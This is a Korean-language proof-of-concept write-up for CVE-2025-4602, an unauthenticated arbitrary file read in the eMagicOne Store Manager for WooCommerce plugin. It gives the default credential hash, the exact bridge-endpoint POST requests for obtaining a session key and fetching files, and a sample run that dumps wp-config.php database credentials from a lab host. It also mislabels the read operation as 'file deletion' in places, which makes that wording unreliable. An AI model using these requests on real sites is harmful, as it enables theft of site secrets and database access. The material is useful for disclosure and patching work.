
eMagicOne Store Manager for WooCommerce <= 1.2.5 - 인증되지 않은 임의 파일 읽기
eMagicOne Store Manager for WooCommerce 플러그인은 원격 관리 프로토콜 엔드포인트(?connector=bridge)를 노출하여 서버에서 파일 삭제 작업을 허용합니다. 인증 메커니즘은 기본 자격 증명 쌍(login=1, password=1)과 세션 키 시스템에 의존합니다. 기본 자격 증명이 변경되지 않은 경우 공격자는 쉽게 인증을 받고 세션 키를 획득하여 WordPress 루트 또는 접근 가능한 모든 디렉터리에서 임의의 파일을 읽을 수 있습니다.
서버에서 wp-config.php 파일을 읽는 과정을 보여주는 POC CVE-2025-4602.py가 제공됩니다.
python3 CVE-2025-4602.py https://lab1.hacker --file wp-config.php
[*] 세션 키 요청 중...
[*] 원시 응답: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] 세션 키 획득: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] 파일 가져오는 중...
[*] 파일 내용: <?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );
/** Database username */
define( 'DB_USER', 'homestead' );
/** Database password */
define( 'DB_PASSWORD', 'secret' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
...
...
...
...
플러그인이 활성화되면 smconnector.php에 다음 상수가 설정됩니다:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
인증에 사용되는 기본 해시는 다음과 같습니다:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
결과: 기본 해시는 md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b입니다.
브리지 엔드포인트에 해시와 작업(예: get_version)을 포함한 POST 요청을 보내 세션 키를 획득합니다:
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
관련 코드:
classes/class-emosmconnectorcommon.php (라인 ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... 세션 키 검증 ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... 오류 ...
}
$key = $this->generate_session_key( $hash );
// ... 세션 키 반환 ...
}
}
세션 키는 wp_smconnector_session_keys 테이블에 저장됩니다:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
유효한 세션 키를 사용하면 공격자는 get_file 작업을 통해 파일을 읽을 수 있습니다:
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php
관련 코드:
classes/class-emosmconnectorcommon.php (라인 ~2219+):
2219 /** 파일 가져오기 */
2220 private function get_file() {
2221 if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222 $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223 }
2224
2225 if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226 $this->generate_error( $this->br_errors['filename_param_missing'] );
2227 }
2228
2229 $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230 $filename = (string) $this->shop_cart->get_request_param( 'filename' );
2231
2232 if ( empty( $entity_type ) ) {
2233 $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234 }
2235
2236 if ( empty( $filename ) ) {
2237 $this->generate_error( $this->br_errors['filename_param_empty'] );
2238 }
2239
2240 $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241
2242 if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243 header( 'Content-Type: image/jpeg' );
2244 header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245 readfile( $file_path );
2246 } else {
2247 $this->generate_error( '파일이 없습니다' );
2248 }
2249 }
파일 삭제는 class-emosmcwoocommerceoverrider.php (라인 ~380+)에서 처리됩니다:
426 public function get_file( $folder, $filename ) {
427 $folder = trim( $folder, '/' );
428 $filename = ltrim( $filename, '/' );
429 if ( empty( $folder ) ) {
430 return $this->get_shop_root_dir() . $filename;
431 }
432
433 return $this->get_shop_root_dir() . "$folder/$filename";
결과: 서버에서 파일이 반환됩니다.